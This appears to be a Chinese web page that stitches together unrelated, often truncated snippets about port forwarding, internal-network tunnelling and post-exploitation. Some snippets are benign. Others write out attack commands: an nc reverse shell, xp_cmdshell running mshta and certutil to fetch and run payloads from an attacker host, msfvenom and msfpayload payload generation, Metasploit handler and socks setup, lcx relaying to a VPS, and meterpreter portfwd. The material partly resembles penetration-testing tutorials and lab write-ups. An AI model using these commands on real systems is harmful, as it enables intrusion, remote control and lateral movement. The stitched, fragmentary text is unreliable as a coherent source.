端口转发,这个功能在平时的开发中用到的还是比较多的,记录下 Windows 如何使用自带的软件实现端口转发。
在渗透测试中,当我们获得了外网服务器(如web服务器,ftp服务器,mali服务器等等)的一定权限后发现这台服务器可以直接或者间接的访问内网。此时渗透测试进入后渗透阶段,一般情况下,内网中的其他机器是不允许外网机器访问的。这时候,我们可以通过 端口转发(隧道) 或将这台外网服务器设置成为 代理,使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做内网转发。
渗透测试平台类: Metasploit,这个大家都不陌生了,集信息收集,预渗透,渗透,后渗透,木马,社会工程学于一体的平台,居家旅行,杀人越货之必备。SET(Social-engineer-toolkit) 主要用来做社工平台,邮件伪造,dns劫持,以及office钓鱼。 Cobaltstrike,目前来说最好用的针对windows的渗透平台,也是目前最牛逼的APT协同工作平台。扩展性很强,兼容各种平台,独立的框架,不依赖于其他框架,提供了丰富的第三方接口,可以进行内网渗透,社工钓鱼,木马远控以
各位老司机在日常的渗透过程中,都会有自己趁手的工具集合,有开源的有私有的,不管什么样的工具组合,能够达到最佳的渗透效果就是好工具,老司机分享一点自己在内网渗透中惯用的开源工具和平台。
很多时候我们需要内网穿透来进行一些操作 因为我们本地是内网而且在没有端口转发的情况下 msf不能很好的去使用。所以今天来总结一下 利用ssh frp实现内网穿透后 利用msf的过程。
lhost :公网ip lport :公网端口 ps:端口除去公共端口都行(22 80等…… ),这里就设置为8181
在企业安全对抗中,红方攻击团队经常会遇到这种情况,在企业的网络边界上获取到部分权限,比如一个web服务器的webshell,然而如何更方便的进行下一步的渗透呢?如何对内网进行渗透测试,这时就需要隧道转发技术,穿透边界防火墙、安全代理等安全设备,进行深层次的安全测试。本文的主要内容是穿透内网的各种姿势。
假设一个场景:在Webshell中执行mimikatz获取到win管理员密码,并且本地查看端口3389是开放的,可是从当前跳板机无法远程到目标机器。因为某个特定需求,一定要远程登录到这台win服务器,这时该怎么办?
有如下图所示测试环境,外网服务器拥有双网卡,既可与公网进行通信,也可以与内网服务器进行通信。
什么是端口转发 当我们在服务器上搭建一个图书以及一个电影的应用,其中图书应用启动了 8001 端口,电影应用启动了 8002 端口。此时如果我们可以通过: localhost:8001 //图书 localhost:8002 //电影 但我们一般访问应用的时候都是希望不加端口就访问域名,也即两个应用都通过 80 端口访问。但我们知道服务器上的一个端口只能被一个程序使用,这时候如何该怎么办呢?一个常用的方法是用 Nginx 进行端口转发。Nginx 的实现原理是:用 Nginx 监听 80 端口,
什么情况下需要端口转发: Web服务器在内网中,远程桌面无法连接,因此需要进行端口转发。 内网IP的80端口通过端口映射到外网IP的80端口上, 内网的WEB服务器通过外网IP反向代理,这个情况下需要进行端口转发 服务器处于外网,可以访问外部网络,但是服务器安装了防火墙来拒绝敏感端口的连接。 如何判断: ping该域名,是外网IP,但是通过WebShell执行命令查看IP又是内网的一个IP。 工具: lcx.exe:
事情起因 发现自己的win11已经安装了一个wsl,就想折腾一下.. 但是明明zfile有win版的,为啥还要多此一举呢? 害, 就是瞎折腾呗.... 安装软件 应用商店搜索WSL选择安装的系统 安装
在 powerShell 下使用 Netsh 命令添加端口转发,将 Windows 端口映射到 WSL 2 VM 的 IP 地址。
NxShell是一款开源的Linux远程管理工具,是我日常远程Linux服务器必备的工具,界面比较好看、可以直接SFTP。针对软件的功能目前作者还在持续更新当中,还是相当好用的一款Linux远程管理工具。
SSH隧道或SSH端口转发是一种在客户端和服务器机器之间创建加密SSH连接的方法,通过该连接可以中继服务端口。
上一节中,我们讲解了网络层的隧道技术(IPv6 隧道、ICMP 隧道)和传输层的隧道技术(TCP 隧道、UDP 隧道、常规端口转发)。现如今,TCP、UDP 通信大量被防御系统拦截,传统的Socket隧道也已经濒临淘汰,DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已经成为了攻击者控制隧道的主要渠道。在这一节中,我们将对应用层的隧道 SOCKS 代理技术进行实验性的讲解,由于小编能力太菜,很多东东也是现学现卖,应用层的DNS隧道我会在未来专门写一个专题进行讲解。
大部分公司内部测试服务器是放在公司内网,一般来说,由于NAT的原因,这种访问是单向的。例如,我们借助电脑,手机登设备,可以访问百度的服务器,但是百度服务器是没法主动访问我们终端。由于只能通过公司内网访问,员工回家之后就无法访问了,安全是安全了,但是万一有个需求需要从公司外部访问呢?
利用代理工具将内网的流量代理到本地进行访问,这样就可以对内网进行下一步渗透,同时也可以利用代理工具将其他网段的流量转发到本地进行纵向渗透。代理的本质是Socks协议(防火墙安全会话转换协议),工作在OSI参考模型的第5层(会话层)。使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。目前支持SOCKS4和SOCKS5两个版本:
Lcx是一个端口转发工具,有windows版和linux两个版本(linux版本名为protmap)
Ngrok Ngrok一个反向代理,通过在公共的端点和本地端口建立一个安全的通道,其功能可以反向代理出web服务还有端口转发,这里我们主要演示端口转发的功能 由于ngrok这个工具官网是要访问外国网站的,所以是能使用国内的Sunny-Ngrok 反弹nc shell 首先我们启动ngrok ./sunny clientid 隧道id 本地监听端口: nc -vv -lp 9991 目标机器: nc -vv server.ngrok.cc 33388 -e cm
Date/time:2016年,这次遇到的问题有些奇葩,这里简单记录下测试过程。已经拿到目标主机最高权限,但是在转发3389端口时遇到了问题。
端口转发是点对点的方式,代理是点对面的方式,如果我们只需要访问主机的特定的端口,使用端口转发就够了,但通常在渗透进内网之后,我们还需要对整个内网进行横向渗透,这时代理必然是一个高校的方法。代理分为正向代理和反向代理,正向代理常适用于外网可以直接访问到web服务器的情况下,反向代理适用于服务器可以出网,但是外部无法直接访问服务器的情况,针对大型企业,现在几乎都是CDN,负载均衡等设备,所以个人认为现在反向代理更常见于渗透攻击中。
该操作在vm虚拟机中完成,提前安装了Windows7、kali linux、Windows server2008。
socat我们在前面也已经介绍过了,之前说的是Windows下的利用,如果没有看到的朋友请移步【socat在Windows下的使用】,socat本身就是在Linux下使用的,非要将它放到Windows下使用难免会有水土不服嘛,这次就回到Linux上来进行socat的使用。
在PLC的局域网里需要接入一个设备,这个设备具有4G联网或者通过网线联网的功能,这个设备里面有个VPN的客户端,启动后连接到VPN的服务器端。这样在你的电脑上需要安装一个VPN的客户端,启动VPN后,你的电脑就和远程的PLC的局域网构成了一个虚拟局域网,这样就可以实现远程下载程序。
当我们在外网打下一个点,通过arp,netstat,以及ifconifg(ipconfig)等信息收集,发现此点为dmz,可通内网,那么这时候我们需要在此点上搭建通向内网的隧道,为内网渗透打下坚实基础。
在网络攻防博弈中,网络流量特征分析类安全防御措施得到了广泛应用。众多厂商和企业对网络流量进行恶意流量分析检测,从而针对性的采取防御措施,如各级ISP在骨干网络设备上大多采用网络流量分析检测的防御方案。
相信大家在渗透测试时如果遇到内网IP瞬间心情就不好了,因为自己是内网,目标也是内网,怎么勾搭上?而且像我这等穷人又没钱买死贵死贵的vps搭建云Kali,怎么办?这时候就要借助内网穿透工具了,网上很多工具都能实现,这里推荐Ngrok。但是我既想通过Ngrok在metaspolit下反弹shell,同时又想把对方的3389端口转发到本地,在meterperter下鱼和熊掌我都要!
业务背景说明 由于爬虫的时候使用了VPN,使得我的IP地址发生改变,从而导致无法访问服务器数据库(有IP地址限制),所以希望通过端口转发的方式解决这个问题。
windows自带的端口转发netsh interface portproxy(window端口转发到虚拟机内部服务器)自用 实践笔记 1.直接查看我配置的Windows转发详情 2.添加如下,相信你看懂了,是不是很方便 3.注意事项 1.需求,访问windows,转发到后端服务器集群(隐藏起来),这台暴露的windows机子也可以叫前置机。 2.虚拟机内部的服务器和别人不在同一个网段,这种情况也需要windows转发到虚拟机。 我这边有三台虚拟机,转发详情如下表 监听地址 windows端口 虚
NetCat NetCat是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接。 用途: 1: 侦听/传输模式 2:获取banner信息 3:传输文本信息 4:传输文件/目录 5:远程控制
Termius for Mac是一款专业的SSH客户端,它可以帮助用户通过SSH协议连接到远程服务器或计算机,并进行安全的终端访问和文件传输。
能够成功地通过web漏洞获取到webshell,对于一次完整的渗透测试来说,仅仅相当于万里长征的第一步。并不是所有渗透测试都会遇到几百台机器的大内网。
最近快期末周了,开始陆陆续续开始复习(预习)这学期的课,于是有了一个需求,我希望在床上用手机可以看我linux电脑上kvm虚拟机里面的网课。
在我们拿下一个Webshell的时候,我们没办法把一些工具上传到目标服务器上去使用,那样可能会有风险,而且有的时候还没有特定的环境来使用工具。这个时候我们就可以使用内网穿透来吧服务器的流量代理到本地,就相当于我们是在内网环境,我们就可以使用自己PC上的工具对内网进行扫描,内网渗透,域渗透等等。
EXEC master..xp_cmdshell 'mshta http://192.168.186.3:8080/yGwnzfy4cc.hta' 注意事项: 添加虚拟路由后配置hta_server模块选项时SRVHOST如果还用默认的0.0.0.0则生成URL的IP地址还是VPS的,所以在不出网主机上无法访问和执行,最终导致无法上线。 思路拓展: bind_tcp/reverse_tcp/reverse_tcp_rc4与hta_server的利用方式差不多,都要用到MSF虚拟路由,只是要重新生成/上传载荷文件。这种方式在某些不出网场景下“文件落地”可能是个麻烦事,不过在我们模拟的这个场景下可以利用这台可以出网的Web服务器来进行文件落地。 EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/msf.exe C:\ProgramData\msf.exe' 0x04 Socks代理 + Proxychains 我们先用autoroute模块自动添加虚拟路由,再用MSF中的Socks模块开一个Socks代理,设置选项可以不做修改,直接默认执行即可。MSF6已将socks4/5都集成到socks_proxy模块中了。 run post/multi/manage/autoroute bg use auxiliary/server/socks4a exploit Socks4代理开好后找到/etc/proxychains.conf配置文件,在底部填入127.0.0.1和1080端口,然后再用proxychains代理工具执行curl或nc验证下看是否已经代理成功? proxychains curl http://192.168.186.4 proxychains nc -zv 192.168.186.4 1433 确定Socks代理没问题后再使用msfvenom生成一个bind_tcp载荷文件,通过中国菜刀将该文件上传至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载。 msfvenom -p windows/x64/meterpreter/bind_tcp lport=443 -f exe > /var/www/html/bind.exe 另起一个命令终端用proxychains代理工具来启动msfconsole,配置好handler监听模块bind_tcp相关选项执行监听,在中国菜刀中利用xp_cmdshell组件执行bind.exe文件后即可上线。 流量走向:
SMB又名网络文件共享文件,顾名思义其作用是用于用户与服务端之间的文件交互。默认端口为139,445。SMB的认证过程在这里就不重复描述了,具体可以看我上一篇写的文章,路由器抓包分析之SMB篇。在认证的时候细心的同学一定会发现在Windows下访问SMB服务器会默认使用当前用户hash去向SMB服务器发起认证。下面的实验便与这个机制有关。
假设在内网环境中发现主机,通过漏洞获取到该主机控制权限,想要进一步对内网环境进行后续利用,这里可以通过反弹shell的方式去进行穿透,本次实验以nc工具为例来演示不同系统的操作,实验拓扑如图1-1所示。
WindTerm 是一款开源免费、跨平台SSH/Sftp/Shell/Telnet/Serial 客户端,即远程连接工具,还跨平台,支持 Windows、Linux 和 macOS。
Hello,大家好哇,我们上一节讲了Cobalt Strike Beacon的一些基础知识,但是好像喜欢看的小伙伴不是很多呀,是不是太枯燥呢?但是我觉得我们在渗透过程中也要做到知其然、知其所以然。所以,如果之前章节没看的小伙伴们可以点击下方图片阅读。
1.ssh -CfNg -L 11001:10.10.10.128:3389 XXX@10.10.10.133
玄武实验室的Dliv3作品,最后更新于2019年,用Go编写,多级代理工具,功能极强,但是现在基本被各大杀软查杀了(需做好免杀)
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
Cobalt Strike 4.2 引入了一组新的“生成和隧道”命令,称为spunnel和spunnel_local。
众所周知,黑客入侵到内网环境,必做的两件事就是:构架隧道和敏感信息翻查。通过翻查到的敏感信息再结合已构建的隧道就可以顺利攻下内网敏感系统。
0x02 reverse_tcp实战应用过程 (1) 前期测试 试了些已公布的2008提权EXP,不过都失败了,第三方软件也只找到一个Filezilla Server。先把C:\Program Files (x86)\FileZilla Server文件夹打包到我们本地,然后再用lcx把Filezilla Server的14147端口转发出来,lcx执行命令如下。 首先VPS机器监听51端口,连接用14147端口: VPS机器执行: C:\>lcx.exe -listen 51 14147 目标机器执行: /c C:\aspSmartUpload\lcx.exe -slave {公网VPS IP} 51 127.0.0.1 14147 lcx转发了FileZilla Server的14147端口后还是连接不上,返回右上图这样的报错,Google翻译报错信息得知:协议错误:未通过身份验证,关闭连接,连接到服务器关闭。使用netstat -ano命令查看当前网络连接状态如下。 TCP 9*.1*9.4.1*3:139 0.0.0.0:0 LISTENING 4 TCP 9*.1*9.4.1*3:54133 1*3.2*1.*7.1*8:51 ESTABLISHED 2028 TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 1040 TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 1088 TCP 127.0.0.1:14147 127.0.0.1:49160 ESTABLISHED 1088 TCP 127.0.0.1:49160 127.0.0.1:14147 ESTABLISHED 5736 可以看到我们已经与目标机器建立了一个完整TCP连接,而且我们本地机器也成功的返回了数据,但是好像返回的数据信息中有错误,如下图。 当前问题: 不能正常把目标服务器的FileZilla Server 14147端口给转发出来,返回数据中出错了,所以无法在本地连接上FileZilla Server服务端。 解决办法: 利用Metasploit工具里的reverse_tcp反向连接生成一个EXE攻击载荷文件,然后在Meterpreter会话中用portfwd命令进行端口转发即可。 (2) 实战应用 如果我们自己也处于内网环境的情况下,那么就需要先在路由器里进行端口映射配置,然后再用reverse_tcp反向连接来生成一个EXE攻击载荷文件,命令如下。 root@devil:~# msfpayload windows/x64/meterpreter/reverse_tcp LHOST=1*3.2*1.*7.1*8 LPORT=12345 X > /media/sf_系统学习/test.exe 先把我们生成好的test.exe载荷文件上传至目标机器的可读/写目录下,然后进入到MSF完成所有必填的配置选项,执行命令如下。 use exploit/mutil/handler //加载监听模块 set PAYLOADY windows/x64/meterpreter/reverse_tcp //设置攻击载荷 set LHOST 192.168.1.4 //设置攻击者内网IP set LPORT 12345 //设置本地监听端口 exploit //exploit执行监听 将必填配置选项完成后执行exploit命令进行监听,然后在WebShell执行C:\aspSmartUpload\test.exe载荷文件,如果成功的话就会返回一个reverse_tcp反向连接的会话。 成功得到目标机器Meterpreter会话,然后直接使用portfwd命令进行端口转发即可,执行命令如下。 meterpreter > portfwd add -l 14147 -p 14147 -r 127.0.0.1 使用portfwd命令成功执行端口转发操作后,我们再来连接目标机器的FileZilla Server服务端看下是否能正常连接
领取专属 10元无门槛券
手把手带您无忧上云